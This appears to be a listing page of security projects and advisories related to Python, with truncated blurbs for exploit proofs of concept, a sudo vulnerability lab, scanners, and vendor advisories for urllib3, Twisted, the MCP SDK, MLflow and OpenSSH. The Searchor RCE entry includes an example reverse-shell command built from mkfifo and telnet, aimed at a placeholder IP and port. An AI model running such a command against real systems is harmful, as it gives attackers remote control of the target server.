CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE Exploit PoC Remote Code Execution RCE via unsafe eval usage in Searchor --test Execute Custom Command Run any command on the target server: python3 CVE-2023-43364.py -a "whoami" Examples: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF"...

cve-2021-3156-sudo-lab

🐧 CVE-2021-3156 — Sudo Security Lab Educational project developed in Python focusing on the analysis of the vulnerability CVE-2021-3156 Baron Samedit , a critical flaw in sudo that allowed local privilege escalation on Linux systems. 📌 Project Objective This project was created with the goal of...

Important: Red Hat Security Advisory: python-urllib3 security update

An update for python-urllib3 is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability...

CVE-2026-15409

cve-id ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: git clone cd Project use python follow below Create a virtual environment python -m venv...

CVE-2018-13382

CVE-2018-13382 python3.X version POC...

CVE-2024-3400-Checker

CVE-2024-3400-Checker 中文版本 A check program for CVE-2024-3400, Palo Alto PAN-OS unauthenticated command injection vulnerability. Usage: 1. Install requirements. python3 -m pip install -r requirements.txt 2. Run python3 main.py 3. Set threads in main.py, default is 20 workers...

Py3-CVE-2017-0785

Py3-CVE-2017-0785 Docs to our POC...

WhoDat

WhoDat Project NOTE: During development of PyDat 5, internal operations has shifted their direction leading to the retirement of the PyDat project. Although a lot of the work has been done to finalize PyDat 5's capabilities, some capabilties remain not fully tested. The WhoDat project is an...

FastJson

fastjsonexploit A one-click exploitation tool for all version...

CVE-2015-1635

️⃣ CVE-2015-1635 Requirements: Python = 3.6 Install requirements with: pip3 install -r requirements.txt Usage example: python3 MS15-034.py -u http://targeturl.com/ -c -d Args:...

PyCk

PyCk For complete details please take a look at the wiki. Installation git clone https://github.com/Naategh/PyCk.git cd PyCk pip3 install -r requirements.txt Install via docker git clone https://github.com/Naategh/PyCK.git docker build . Requirements Python 3.5 Roadmap This is an educational...

WebSocketTurboIntruder

WebSocket Turbo Intruder An extension for fuzzing WebSocket messages using custom Python code. Usage Intruder tool 1. Right-click on a WebSocket message and navigate to Extensions WebSocket Turbo Intruder Send to WebSocket Turbo Intruder. If you highlight a portion of the message before sending,...

UBUNTU-CVE-2026-115910

Python Social Auth is a social authentication and registration mechanism. Prior to 6.2.0, OpenIdConnectAuth in socialcore/backends/openidconnect.py uses getandstorenonce to place the OpenID Connect nonce in a shared OpenIdConnectAssociation table, and getnonce and validateclaims verify only that...

python-Twisted-doc-26.4.0-4.1 on GA media (moderate)

python-Twisted-doc-26.4.0-4.1 on GA media Announcement ID: openSUSE-SU-2026:12137-1 Rating: moderate Cross-References: CVE-2026-106454 CVSS scores: CVE-2026-106454 SUSE : 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L Affected Products: openSUSE Tumbleweed An update that solves one vulnerabilit...

python-M2Crypto-doc-0.50.0-2.1 on GA media (moderate)

python-M2Crypto-doc-0.50.0-2.1 on GA media Announcement ID: openSUSE-SU-2026:12136-1 Rating: moderate Cross-References: CVE-2026-109087 CVSS scores: CVE-2026-109087 SUSE : 7.4 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N CVE-2026-109087 SUSE : 9.1...

PT-2026-127213

Name of the Vulnerable Software and Affected Versions Model Context Protocol Python SDK versions 1.10.0 through 1.29.1 Model Context Protocol Python SDK versions 2.0.0 through 2.1.1 Description Server-side bearer authentication configured through AuthSettings with token verifier fails to...

PT-2026-127225

Name of the Vulnerable Software and Affected Versions MLflow versions 3.12.0 through 3.16.x Description Third-party scorer deserialization in mlflow/genai/scorers/base.py allows the import of request-selected descendants of allowed modules rather than requiring an exact match. An attacker can use...

PT-2026-127218

Name of the Vulnerable Software and Affected Versions Model Context Protocol Python SDK versions 1.8.0 through 1.29.1 Model Context Protocol Python SDK versions 2.0.0 through 2.1.1 Description Certain client paths in the SDK follow HTTP redirects to different origins, which can lead to the exposu...

PT-2026-127219

Name of the Vulnerable Software and Affected Versions Model Context Protocol Python SDK versions 1.10.0 through 1.29.1 Model Context Protocol Python SDK versions 2.0.0 through 2.1.1 Description When a connected server declares an outputSchema for a tool, the SDK client validates call tool results...

OpenSSH 9.7p1 regreSSHion Mitigation

An Ansible role and Python tool detect OpenSSH versions affected by the regreSSHion signal-handler race and upgrade openssh-server or apply the documented LoginGraceTime 0 workaround...